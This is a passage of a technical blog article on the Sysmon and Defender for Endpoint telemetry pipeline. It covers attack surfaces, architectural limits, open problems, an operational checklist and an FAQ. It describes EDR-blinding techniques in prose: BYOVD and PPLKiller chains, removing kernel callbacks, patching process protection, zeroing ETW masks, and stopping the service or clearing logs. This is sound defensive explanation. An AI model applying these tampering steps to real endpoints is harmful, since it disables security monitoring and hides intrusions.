&lt;p&gt;The MDE-side attack tradition starts at the Antimalware-PPL boundary on &lt;code&gt;MsSense.exe&lt;/code&gt;. The FalconForce 2022 work this article has already cited multiple times is the dispositive primary [@falconforce-2022]. The verbatim TL;DR -- describing how raising &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL lets researchers debug MDE and capture cloud-bound payloads, which surfaced a missing-authorization vulnerability allowing spoofed telemetry to any M365 tenant -- landed earlier as the §6 PullQuote and is the framing this section builds on.&lt;/p&gt;
&lt;p&gt;The technique used a PPLKiller-class BYOVD chain to raise &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL, attach to &lt;code&gt;MsSense.exe&lt;/code&gt;, and capture plaintext payloads via &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; instrumentation. The vulnerability that work disclosed, &lt;strong&gt;CVE-2022-23278&lt;/strong&gt;, was patched on March 8, 2022 [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. That patch closed &lt;em&gt;one&lt;/em&gt; missing-authorization gap in the cloud-side trust model. It did not close the class.&lt;/p&gt;
&lt;p&gt;The InfoGuard Labs 2025 follow-up [@infoguard-2025] demonstrated that the broader class is still open. The technique they used was different -- in-memory patching of &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; to disable certificate-pinning validation, rather than PPL-elevated debugging -- but the vulnerability they surfaced is the same class: cloud endpoints (&lt;code&gt;/edr/commands/cnc&lt;/code&gt; and &lt;code&gt;/senseir/v1/actions/&lt;/code&gt;) that do not properly validate authentication tokens on traffic claiming to originate from the endpoint. As §7 documented, the MSRC disposition was low severity, no fix committed -- the operational consequence is that the spoofed-telemetry trust pattern that produced CVE-2022-23278 in 2022 is, three years later, still exploitable along a parallel surface.&lt;/p&gt;
&lt;p&gt;The broader attack class -- ETW Threat Intelligence (&lt;code&gt;EtwTi&lt;/code&gt;) blinding -- has been studied independently of MDE. The structural answer in 2026 is HVCI plus VBL plus Antimalware-PPL plus ELAM (the four-component hardening stack). On a fully-hardened endpoint, the user-mode tamper surface that defined the 2014-to-2020 era of EDR-blinding tradecraft is largely closed; the residual attack surface is kernel-mode adversary primitives. That is the structural ceiling §12 picks up.&lt;/p&gt;
&lt;h3&gt;Cross-pipeline attacks&lt;/h3&gt;
&lt;p&gt;Some attacks affect both halves of the pipeline simultaneously. The most-cited is &lt;strong&gt;BYOVD-driven kernel-callback removal&lt;/strong&gt;: a Bring-Your-Own-Vulnerable-Driver chain loads a Microsoft-signed but vulnerable driver, exploits a known CVE in the driver, and from kernel context calls &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; with a &lt;code&gt;Remove = TRUE&lt;/code&gt; flag against the EDR sensor&apos;s registered callbacks, effectively unhooking both Sysmon and MDE at the kernel-callback layer. The structural defense Microsoft shipped in response is the &lt;strong&gt;Microsoft Vulnerable Driver Blocklist&lt;/strong&gt; with HVCI enforcement, which has been on by default since Windows 11 22H2 [@ms-driver-blocklist].&lt;/p&gt;
&lt;p&gt;A second cross-pipeline attack is &lt;strong&gt;direct-syscall bypass&lt;/strong&gt; of user-mode hook libraries -- but this attack is mostly a relic from the 2010s when EDR vendors relied on &lt;code&gt;ntdll.dll&lt;/code&gt; user-mode IAT hooks; modern Sysmon and MDE neither register nor depend on user-mode hooks for the kernel-callback events. Direct-syscall malware that bypasses the user-mode hooks of a &lt;em&gt;third-party&lt;/em&gt; EDR will still produce a Sysmon EID 1 and an MDE &lt;code&gt;DeviceProcessEvents&lt;/code&gt; row, because the kernel-callback fires whether or not the malware called &lt;code&gt;NtCreateUserProcess&lt;/code&gt; via &lt;code&gt;ntdll.dll&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The attack-surface lattice&lt;/h3&gt;

flowchart TD
    A1[&quot;Sysmon-side: sc stop, wevtutil clear, registry altitude swap&quot;] --&amp;gt; D1[Sysmon v15 protected-process gate]
    A2[&quot;MDE-side: PPLKiller + dbgsrv WinTcb to attach MsSense&quot;] --&amp;gt; D2[&quot;Antimalware-PPL on MsSense.exe&quot;]
    A3[&quot;Cloud-side: CVE-2022-23278 spoofed cloud telemetry&quot;] --&amp;gt; D3[&quot;MSRC patch March 8 2022&quot;]
    A4[&quot;Cloud-side: InfoGuard 2025 cert-pinning bypass + missing auth&quot;] --&amp;gt; O4[&quot;OPEN: &apos;low severity, no fix committed&apos;&quot;]
    A5[&quot;Cross-pipeline: BYOVD kernel-callback unhook&quot;] --&amp;gt; D5[&quot;HVCI + Vulnerable Driver Blocklist (Win11 22H2+)&quot;]
    D1 --&amp;gt; R[&quot;Residual: kernel-mode adversary primitive that defeats HVCI + VBL&quot;]
    D2 --&amp;gt; R
    D5 --&amp;gt; R
    D3 --&amp;gt; R
    O4 -.unclosed.-&amp;gt; R
&lt;p&gt;The shape of the lattice is the shape of the field&apos;s hardening: every user-mode attack class has a structural defense, and the structural defenses converge on a single residual -- the kernel-mode adversary primitive that defeats HVCI plus the Vulnerable Driver Blocklist. On the cloud side, the InfoGuard 2025 finding is the unresolved item -- the same trust pattern that produced CVE-2022-23278 in 2022 produced a different cluster of missing-authorization bugs three years later. The attack-defense arc is still moving, and the two-sided nature of the pipeline (host + cloud) is why.&lt;/p&gt;
&lt;p&gt;Every attack surface has a structural defense. But every defense has a horizon. What is outside the horizon?&lt;/p&gt;
&lt;h2&gt;12. Theoretical Limits: What the Pipeline Cannot See&lt;/h2&gt;
&lt;p&gt;Sysmon and Microsoft Defender for Endpoint are &lt;em&gt;observation&lt;/em&gt; pipelines, not enforcement layers. That statement contains four structural ceilings the engineering cannot lift. These are not bugs to be fixed; they are properties of the architecture that follow from the choice of where the pipeline collects.&lt;/p&gt;
&lt;h3&gt;Ceiling 1: The pre-driver-load horizon&lt;/h3&gt;
&lt;p&gt;Both Sysmon&apos;s &lt;code&gt;SysmonDrv.sys&lt;/code&gt; and Defender for Endpoint&apos;s &lt;code&gt;WdBoot.sys&lt;/code&gt; are kernel drivers, but they sit at different points in the boot order. &lt;code&gt;WdBoot.sys&lt;/code&gt; is ELAM-signed and loads before any non-ELAM driver, which lets it classify subsequent boot-start drivers as &lt;code&gt;Good&lt;/code&gt;, &lt;code&gt;Bad&lt;/code&gt;, or &lt;code&gt;Unknown&lt;/code&gt; for the kernel&apos;s load decision. (Measured Boot separately hashes &lt;code&gt;WdBoot.sys&lt;/code&gt; along with the bootloader and kernel into TPM PCRs; that integrity-attestation channel is a sibling feature, not ELAM&apos;s own job.) &lt;code&gt;SysmonDrv.sys&lt;/code&gt; is &lt;code&gt;BootStart&lt;/code&gt;-ordered but not ELAM-signed -- it loads early, but not first.&lt;/p&gt;
&lt;p&gt;Events that happen before the EDR driver&apos;s &lt;code&gt;DriverEntry&lt;/code&gt; runs are &lt;em&gt;not observable&lt;/em&gt; by that driver. For Sysmon, that means rootkit-class malware that loads inside the early Windows boot path (UEFI bootkits, boot-record manipulation, very-early kernel modifications) is invisible until after Sysmon catches up. For MDE, the ELAM-signed &lt;code&gt;WdBoot.sys&lt;/code&gt; closes most of this window for non-ELAM drivers; the residual is anything that runs even earlier -- UEFI-firmware-resident malware, hardware-implant attacks, the very narrow class that targets the pre-ELAM trust boundary itself. The &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Measured Boot&lt;/a&gt; plus &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; stack (covered in adjacent articles in this series) is what observes the pre-ELAM region. EDR&apos;s reach does not extend below the ELAM line.&lt;/p&gt;
&lt;h3&gt;Ceiling 2: The observation-vs-enforcement latency gap&lt;/h3&gt;
&lt;p&gt;Sysmon&apos;s kernel-callback to event-log latency is sub-millisecond. The driver runs the rule engine, decides to emit, and writes through the ETW publisher to the Sysmon service. The service writes to the event log. The total path is microseconds in the best case, milliseconds under load.&lt;/p&gt;
&lt;p&gt;MDE&apos;s end-to-end latency to a queryable Kusto row is &lt;em&gt;seconds to tens of seconds&lt;/em&gt;. The endpoint side takes microseconds; the TLS hop to regional ingest takes the dominant fraction of a second; the Kusto write and per-tenant indexing takes the rest. Microsoft&apos;s own Advanced Hunting documentation phrases the freshness contract carefully: &quot;&lt;em&gt;Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services&lt;/em&gt;&quot; [@advanced-hunting-overview]. &quot;Almost immediately&quot; is empirically a few seconds in steady state, longer under load, and indefinite when the endpoint cannot reach the cloud.&lt;/p&gt;
&lt;p&gt;Any payload that completes its work inside the observation window has executed &lt;em&gt;before&lt;/em&gt; the SIEM rule could fire. A &lt;code&gt;mimikatz.exe&lt;/code&gt; invocation that dumps LSA secrets in three milliseconds, exfiltrates them over a covert DNS channel in 800 milliseconds, and exits in another two milliseconds has produced a complete attack chain before MDE&apos;s event has reached Kusto, let alone before the Maya-class analyst has glanced at her console. The hybrid responses that blur this boundary -- Sysmon v14&apos;s FileBlockExecutable (EID 27), MDE&apos;s ASR rules and Network Protection -- are &lt;em&gt;kernel-callback-time&lt;/em&gt; decisions, not SIEM-rule-time decisions; they run inside the few-microsecond window the driver itself owns, and they are constrained by the rule logic baked into the host configuration rather than by the live correlation logic of the cloud-side detection engine.&lt;/p&gt;
&lt;h3&gt;Ceiling 3: MDE schema truncation versus Sysmon manifest&lt;/h3&gt;
&lt;p&gt;This is the ceiling §8 quantified column-by-column. The &lt;code&gt;Device*&lt;/code&gt; tables surface a normalized, mostly-complete cross-walk of Sysmon&apos;s manifest -- but mostly-complete is not the same as complete. The &lt;code&gt;ProcessAccess&lt;/code&gt; GrantedAccess mask is the most-cited example: Sysmon EID 10 captures the full 32-bit &lt;code&gt;PROCESS_ACCESS_MASK&lt;/code&gt; (which discriminates between &lt;code&gt;PROCESS_QUERY_INFORMATION&lt;/code&gt;, &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_CREATE_THREAD&lt;/code&gt;, and so on -- the canonical malicious patterns are visible in this mask), while MDE&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;OpenProcessApiCall&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; collapses the mask into a coarser categorization. The WmiEvent consumer expressions Sysmon EIDs 19-21 capture verbatim -- which are how WMI-based persistence is detected -- are not surfaced in the &lt;code&gt;Device*&lt;/code&gt; schema at all. RawAccessRead (EID 9, the canonical disk-level credential-theft observable) is omitted. PipeEvent (EIDs 17-18) is omitted.&lt;/p&gt;
&lt;p&gt;Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; exists precisely because of this asymmetry. The augment config is a community-curated artifact whose purpose is to fill the schema-truncation gap. The cost: a second telemetry stream on the host. The benefit: detection-engineering visibility into the verbose-EID surface MDE drops.&lt;/p&gt;
&lt;h3&gt;Ceiling 4: The kernel-mode adversary primitive&lt;/h3&gt;
&lt;p&gt;A ring-0 attacker with a working kernel primitive -- a memory-write capability into the kernel data structures, typically delivered via BYOVD against a vulnerable signed driver -- can defeat the pipeline as a consequence of defeating the structural defenses that protect it. Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direct call to &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; with &lt;code&gt;Remove = TRUE&lt;/code&gt; unregisters the EDR sensor&apos;s callback, after which &lt;code&gt;CreateProcess&lt;/code&gt; events on that host produce no observable.&lt;/li&gt;
&lt;li&gt;A patch to the &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; field of &lt;code&gt;MsSense.exe&lt;/code&gt; or &lt;code&gt;Sysmon.exe&lt;/code&gt; strips the Antimalware-PPL gate, after which user-mode attacks against the service work again.&lt;/li&gt;
&lt;li&gt;A direct write into the &lt;code&gt;EtwTi&lt;/code&gt; provider&apos;s keyword mask zero-pages the security-event-emission surface, after which the kernel-side &lt;code&gt;EtwTi&lt;/code&gt; consumer (which several EDRs subscribe to) sees no events even when the underlying behaviour fired.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &quot;Tampering with Windows Event Tracing&quot; research published by Palantir in 2018 (Matt Graeber&apos;s canonical writeup) and the follow-on &lt;code&gt;EtwTi&lt;/code&gt;-blinding tradition is the published primary for this attack class [@palantir-etw-tampering-2018]. The structural defenses are HVCI plus VBL plus Antimalware-PPL plus ELAM. But the four-component hardening stack does not prevent a kernel-mode adversary primitive from defeating the EDR; it only raises the bar to &lt;em&gt;needing&lt;/em&gt; a kernel-mode adversary primitive.&lt;/p&gt;

Observation requires execution overhead, and execution requires the observer to live in the same trust domain as the observed. A kernel-mode observer (Sysmon, MDE) lives in the same kernel trust domain as the kernel-mode attacker; a hypervisor-rooted observer (`EtwTi` running under Virtualization-Based Security) shifts the trust boundary up one level, but does not eliminate it -- the observer-in-VBS is still subject to attacks on the hypervisor itself. There is no architectural place to put the observer that is strictly outside the attacker&apos;s reach unless the observer is in different hardware, which is what hardware-rooted Root-of-Trust attestations attempt and what an Anti-Tamper Service Provider (ATSP) is being defined for. EDR sensors will always be co-resident with the adversary at *some* trust boundary. The ceiling is structural.
&lt;p&gt;Four ceilings, four sets of open questions. What is the field working on right now?&lt;/p&gt;
&lt;h2&gt;13. Open Problems and Active Work&lt;/h2&gt;
&lt;p&gt;Some questions in this article have no answer in 2026. Five of them are where the field will move next.&lt;/p&gt;
&lt;h3&gt;The MDE kernel-callback inventory&lt;/h3&gt;
&lt;p&gt;As §6&apos;s aha-moment Callout established, Microsoft has not published a kernel-callback inventory for the MDE EDR sensor, which is the structural reason Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; exists as a community-curated artifact rather than a Microsoft-published reference. What §13 adds is the &lt;em&gt;empirical scaffolding&lt;/em&gt; the community uses in the absence of that inventory: the MITRE Engenuity Round 6 (2024) evaluation results [@ms-mitre-2024-blog] plus the Shen et al. whole-graph re-analysis [@arxiv-shen-2024] are the closest published evidence of which MDE detection paths produced an alert during a known emulated technique. Neither covers an end-to-end kernel-callback enumeration comparable to Sysmon&apos;s manifest -- they cover &lt;em&gt;outputs&lt;/em&gt; (alerts produced) rather than &lt;em&gt;mechanisms&lt;/em&gt; (callbacks registered). Closing this gap would require either Microsoft to publish a per-&lt;code&gt;ActionType&lt;/code&gt;-to-per-kernel-callback cross-walk for the &lt;code&gt;Device*&lt;/code&gt; schema, or the community to fund and publish a reverse-engineered inventory that goes meaningfully past the FalconForce 2022 and InfoGuard 2025 slices. As of 2026, neither has happened.&lt;/p&gt;
&lt;h3&gt;Defender XDR built-in detection rule logic&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;AlertInfo&lt;/code&gt; and &lt;code&gt;AlertEvidence&lt;/code&gt; table schemas are published; the underlying rule logic that produces alerts in these tables is not. Microsoft ships &quot;Microsoft-authored detection rules&quot; as part of Defender XDR Plan 2, and the rules update continuously without an obvious public changelog. The community workaround is to subscribe to the MITRE ATT&amp;amp;CK evaluation rounds (the most recent being Round 6 in 2024 [@ms-mitre-2024-blog][@arxiv-shen-2024]) and infer rule coverage from per-technique detection scores, but this is indirect and lossy. A published rule-logic catalogue would let detection-engineering teams reason about which custom rules are duplicates of Microsoft&apos;s authored content and which fill genuine gaps.&lt;/p&gt;
&lt;h3&gt;Cross-tenant hunting and data sovereignty&lt;/h3&gt;
&lt;p&gt;MSSPs (managed-security service providers) routinely need to hunt across multiple customer tenants for shared-IOC observations. Microsoft&apos;s official multi-tenant story is Microsoft Defender XDR Multitenant Management (in GA) plus Azure Lighthouse for cross-tenant Sentinel access. Both are functional and both are documented at the operational level. The deeper question -- &lt;em&gt;what is the GDPR/HIPAA/FedRAMP framework around hunting an IOC observed in Tenant A against telemetry held in Tenant B&apos;s regional Kusto cluster?&lt;/em&gt; -- is unsettled. The data-residency commitments Microsoft makes per region [@ms-server-endpoints-learn] do not directly answer the cross-tenant-hunt question. Vendor and customer guidance is still maturing.&lt;/p&gt;
&lt;h3&gt;A Microsoft-published reference MDE-augmentation Sysmon config&lt;/h3&gt;
&lt;p&gt;Hartong&apos;s config is the community answer to the question &quot;what Sysmon EIDs should I emit on a host that already has MDE?&quot; There is no Microsoft-published reference equivalent. This is the most surgical near-term improvement Microsoft could make. Publishing such a config -- even as a starting-point template, not a binding recommendation -- would compress an entire detection-engineering conversation into a single endorsed artifact. The political reason it has not happened is partly that Microsoft does not officially recommend running Sysmon alongside MDE; the operational reality is that detection-engineering-mature shops do anyway.&lt;/p&gt;
&lt;h3&gt;Cross-platform parity&lt;/h3&gt;
&lt;p&gt;Sysmon for Linux (&lt;code&gt;microsoft/SysmonForLinux&lt;/code&gt;, created October 28, 2020 and publicly announced in October 2021) ships an eBPF-based implementation of the same XML schema and emits to syslog [@github-sysmon-linux]. It is a substantial subset of the Windows manifest -- process create, file write, network connect, image load, raw access read -- with the cross-OS shared XML rule grammar going for it, so a detection-engineering team can write one Sigma-aligned rule and run it against both Windows and Linux endpoints with minor token substitutions. Full parity between the Windows kernel-callback Sysmon and the Linux eBPF Sysmon is &lt;em&gt;not&lt;/em&gt; the design intent; the Linux port intentionally captures only the EIDs that map cleanly onto eBPF observables. &lt;code&gt;BTFHub&lt;/code&gt; plus &lt;code&gt;SysinternalsEBPF&lt;/code&gt; (the in-tree CO-RE infrastructure the Linux port uses) make per-kernel-version deployments tractable, but the field has not yet converged on a single canonical Linux config the way it converged on SwiftOnSecurity for Windows.&lt;/p&gt;
&lt;p&gt;These five open problems are where the field will move in the next five years. In the meantime, what does the analyst do on Monday morning?&lt;/p&gt;
&lt;h2&gt;14. Seven Things to Do Monday Morning&lt;/h2&gt;
&lt;p&gt;Everything above has been background. Here is the operational checklist. Each step is anchored to a primary citation. Walk all seven on a single non-production host before fleet rollout; the ninety-second triage walk from §1 is best learned by reproducing it once on your own tenant.&lt;/p&gt;
&lt;h3&gt;1. Verify the MDE sensor service is healthy&lt;/h3&gt;
&lt;p&gt;Run as Administrator on the endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc query sense
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A healthy result shows &lt;code&gt;STATE: 4 RUNNING&lt;/code&gt; and &lt;code&gt;WIN32_EXIT_CODE: 0&lt;/code&gt;. If the result is &lt;code&gt;STATE: 1 STOPPED&lt;/code&gt; or the service is missing entirely, consult the WDATPOnboarding event source in the Application event log for events 5, 10, 15, 30, 35, 40, 65, and 70 -- each has a documented resolution procedure [@sense-troubleshoot]. On Windows Server 2019, 2022, 2025, or Azure Stack HCI 23H2 or later, also verify the Feature on Demand is installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result should show &lt;code&gt;State : Installed&lt;/code&gt; and &lt;code&gt;Version : 10.x.x.x&lt;/code&gt;. If &lt;code&gt;State : NotPresent&lt;/code&gt;, install the FoD before proceeding.&lt;/p&gt;
&lt;h3&gt;2. Open Advanced Hunting and run the §8 query&lt;/h3&gt;
&lt;p&gt;Navigate to &lt;code&gt;defender.microsoft.com&lt;/code&gt; (or the legacy &lt;code&gt;security.microsoft.com&lt;/code&gt;), expand &lt;strong&gt;Hunting &amp;gt; Advanced hunting&lt;/strong&gt;, paste the §8 KQL query, and run it [@advanced-hunting-overview]. On a fresh tenant the query may return zero rows -- that is the correct result for a healthy environment. Tighten the time window if it is slow (&lt;code&gt;Timestamp &amp;gt; ago(1h)&lt;/code&gt; instead of &lt;code&gt;ago(24h)&lt;/code&gt;) until the query returns within ten seconds. The point of this step is to confirm the read surface is reachable and that the user has Hunter (or higher) RBAC permission on the tenant.&lt;/p&gt;
&lt;h3&gt;3. If licensed for Sentinel, install the Defender XDR connector&lt;/h3&gt;
&lt;p&gt;In the Microsoft Sentinel workspace, navigate to &lt;strong&gt;Data connectors&lt;/strong&gt;, choose &lt;strong&gt;Microsoft Defender XDR&lt;/strong&gt;, and configure per-table streaming [@sentinel-xdr-connector]. Pick the tables your team needs longer retention or analytics-rule scheduling on; leave the others to in-portal Advanced Hunting. Be aware that enabling the connector &quot;&lt;em&gt;automatically disconnects&lt;/em&gt;&quot; any legacy Microsoft Defender component connectors during enablement; this is the cleanup detail to plan for during migration windows [@sentinel-xdr-connector].&lt;/p&gt;
&lt;h3&gt;4. If deploying Sysmon alongside MDE, start from the augment config&lt;/h3&gt;
&lt;p&gt;Clone &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;, build the &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; variant, and deploy with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sysmon64.exe -accepteula -i sysmonconfig-mde-augment.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify the active configuration with &lt;code&gt;Sysmon64.exe -c&lt;/code&gt; and confirm the rule count matches the augment config&apos;s expected output [@github-hartong-modular].&lt;/p&gt;
&lt;h3&gt;5. If deploying Sysmon standalone, start from NextronSystems or modular default&lt;/h3&gt;
&lt;p&gt;For air-gapped or unlicensed environments, clone &lt;code&gt;NextronSystems/sysmon-config&lt;/code&gt; (the post-2021-rename successor to &lt;code&gt;Neo23x0/sysmon-config&lt;/code&gt;) and deploy &lt;code&gt;sysmonconfig.xml&lt;/code&gt; or, for the blocking-rule variant, &lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt; [@github-neo23x0][@github-nextronsystems-meta]. Alternatively, &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;&apos;s default &lt;code&gt;sysmonconfig.xml&lt;/code&gt; (built from the modular library) is the right choice if you want fine-grained per-technique tuning later [@github-hartong-modular].&lt;/p&gt;
&lt;h3&gt;6. Verify Sysmon v15.2 or later is running&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Sysmon64.exe -c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output&apos;s header line should show the binary version. Anything &lt;code&gt;v15.x&lt;/code&gt; or later has the protected-process gate enabled [@sysmon-ms-learn][@bleepingcomputer-sysmon15]. Anything older is trivially blindable by a SYSTEM-privilege attacker and is the single biggest deployment-hygiene risk in the Sysmon population today.&lt;/p&gt;
&lt;h3&gt;7. Audit the MDE onboarding registry hives&lt;/h3&gt;
&lt;p&gt;Compare the live registry values to the expected onboarding state:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg query &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unexpected changes -- particularly a change to the onboarding &lt;code&gt;OrgId&lt;/code&gt; or to the policy-controlled &lt;code&gt;Disabled&lt;/code&gt; value -- are an indicator that the tenant or device has been re-targeted, possibly by an attacker who obtained admin-level access and is attempting to re-route the endpoint&apos;s telemetry to a different tenant or to disable the MDE sensor entirely [@sense-troubleshoot]. Set up a Sentinel detection rule on &lt;code&gt;DeviceRegistryEvents&lt;/code&gt; with &lt;code&gt;RegistryKey contains &quot;Windows Advanced Threat Protection&quot;&lt;/code&gt; to surface this class of tampering automatically.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Walk steps 1 and 2 on a single non-production host before fleet rollout. The ninety-second-triage walk you saw in §1 is best learned by reproducing it once on your own tenant. The cost of getting steps 4-6 wrong (deploying the wrong Sysmon config on a high-volume server fleet) is hours of operational pain; the cost of doing them right on a single test host first is twenty minutes.&lt;/p&gt;
&lt;/blockquote&gt;

The MDE sensor service has not been onboarded on this host. Two common causes: (1) the endpoint is on a Windows Server SKU and the SENSE Feature on Demand has not been installed; run the DISM `Get-CapabilityInfo` check in step 1 to confirm. (2) The onboarding script (the `WindowsDefenderATPLocalOnboardingScript.cmd` or the equivalent Group Policy / Intune / SCCM artifact) has not been run on this host. The MDE settings page in the Defender XDR portal shows the per-device onboarding artifacts under **Settings &amp;gt; Endpoints &amp;gt; Onboarding** for download [@sense-troubleshoot].
&lt;p&gt;The Defender XDR portal also exposes a &lt;strong&gt;device timeline&lt;/strong&gt; view that surfaces a chronological event stream per device without requiring KQL. This is the right view for analysts who are still learning the schema; the KQL surface is the right view for repeatable hunts and detection-rule authoring.&lt;/p&gt;
&lt;p&gt;Seven steps, one Monday. The rest of the questions are in the FAQ.&lt;/p&gt;
&lt;h2&gt;15. Frequently Asked Questions&lt;/h2&gt;
&lt;p&gt;Seven of the questions that come up every time this material is taught.&lt;/p&gt;


Yes on its output side; mostly no on its input side. Sysmon publishes its events through an ETW provider called `Microsoft-Windows-Sysmon`, which is how downstream collectors and the Windows Event Log service consume the data. On its *input* side, Sysmon is a kernel driver that collects via five different mechanisms -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load and driver load, `PsSetCreateThreadNotifyRoutineEx` for remote-thread creation, `ObRegisterCallbacks` for cross-process access, `CmRegisterCallbackEx` for registry, and Filter Manager minifilters for ordinary file system and NPFS named pipes. Two exceptions live on Sysmon&apos;s input side. The single kernel-ETW consumer is `Microsoft-Windows-DNS-Client` for EID 22 DNSEvent; the WmiEvent family (EIDs 19-21) is implemented in a consumer style against the WMI activity provider&apos;s user-mode tracing surface. Calling Sysmon &quot;ETW-based&quot; without that distinction is the most common architectural confusion in the field [@sysmon-ms-learn].

For most organizations licensed for MDE Plan 2 and without a mature detection-engineering team, yes -- MDE alone is the right baseline. For organizations with a detection-engineering team, the community pattern is to deploy MDE *plus* a tuned Sysmon configuration (specifically Olaf Hartong&apos;s `sysmonconfig-mde-augment.xml`) that fills the gaps where MDE&apos;s `Device*` schema truncates or omits fields that Sysmon&apos;s manifest captures verbatim -- the `ProcessAccess` GrantedAccess mask, the full WMI consumer expressions, RawAccessRead, the pipe events, and selected file-delete archival paths. The wrong answer for an MDE-licensed shop with a detection-engineering team is to do nothing on the Sysmon side; the second-wrong answer is to deploy *default* Sysmon alongside MDE, which produces double the telemetry volume for the coverage of one [@github-hartong-modular][@mde-ms-learn].

The five class-specific `Device*` tables (`DeviceProcessEvents`, `DeviceNetworkEvents`, `DeviceFileEvents`, `DeviceImageLoadEvents`, `DeviceRegistryEvents`) each map onto a single Sysmon EID family and present a normalized, per-class set of columns. `DeviceEvents` is the miscellaneous catch-all: AMSI scan results, exploit-protection events, Defender Antivirus operational events, Attack Surface Reduction rule fires, Network Protection blocks, OpenProcess API calls, and other MDE-specific telemetry surface here under different `ActionType` values. If a row&apos;s `ActionType` does not match what you expected, the row is probably in `DeviceEvents` rather than the table you searched first [@advanced-hunting-overview].

No. The historical root is SwiftOnSecurity&apos;s `sysmon-config`, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. Florian Roth (`@Neo23x0`) forked SwiftOnSecurity&apos;s repository in January 2018 and added blocking-rule support, community pull-request merges, and the maintainer roster that now includes Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali [@github-neo23x0]. The Neo23x0 repository was renamed to `NextronSystems/sysmon-config` on July 24, 2021 [@github-nextronsystems-meta]; the old URL HTTP-301 redirects to the new one and the content lineage from SwiftOnSecurity is unchanged. Calling Roth&apos;s config &quot;the original&quot; is the inverse of the truth; calling it &quot;the canonical actively-maintained fork&quot; is closer.

No. Sysmon supports one active configuration at a time. There is no aggregate-multiple-XMLs feature at the driver layer. Olaf Hartong&apos;s modular workflow generates a single merged XML at build time from a per-technique module library; the production fleet receives that single XML and the driver enforces it. If you want two configurations -- one for the SOC team&apos;s hunting, one for the platform team&apos;s audit -- merge the rules at build time and ship the combined product [@github-hartong-modular].

Because it runs as Antimalware Protected Process Light (`PROTECTED_ANTIMALWARE_LIGHT`), the Windows kernel rejects ordinary user-mode `OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE)` requests against the process from any caller that does not itself run at an equal or higher signer level. The published reverse-engineering technique (FalconForce 2022) is to raise the Windows PE debug server `dbgsrv.exe` to the `WinTcb` signer level via a PPLKiller-class kernel primitive, then attach the elevated debug server to `MsSense.exe`. That technique requires a kernel-mode primitive (commonly a BYOVD chain), which is itself non-trivial. The protection level is the structural defense; the debug-server technique is the dispositive community workaround [@falconforce-2022].

Thirty days of raw data in the Defender XDR portal: &quot;*Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data*&quot; [@advanced-hunting-overview]. Beyond thirty days, retention is configurable per workspace via the Microsoft Sentinel Defender XDR connector; the Log Analytics workspace archive tier supports up to twelve years of per-table archive on a per-GB-billed basis [@sentinel-xdr-connector][@ms-log-analytics-archive]. The two surfaces are not exclusive; the common operational pattern is in-portal for the hunting team (30 days, no per-GB cost) plus per-table Sentinel streaming for the analytics-rules team (extended retention, per-GB cost on selected tables).

&lt;p&gt;These are the questions. The seven layers between Maya&apos;s &lt;code&gt;cmd.exe&lt;/code&gt; at 9:14 a.m. and her Kusto row at 9:14:03 are how the answers actually work -- a kernel callback, a user-mode aggregator, an ETW publisher or TLS-pinned cloud forwarder, a regional Kusto ingest, a table write, and a KQL read, with two structural defenses (Antimalware-PPL and the Sysmon v15 protected-process gate) keeping each layer honest. Every other detection-engineering pattern in the Windows field is a configuration of those seven layers, and most of the open problems are at the seams between them.&lt;/p&gt;
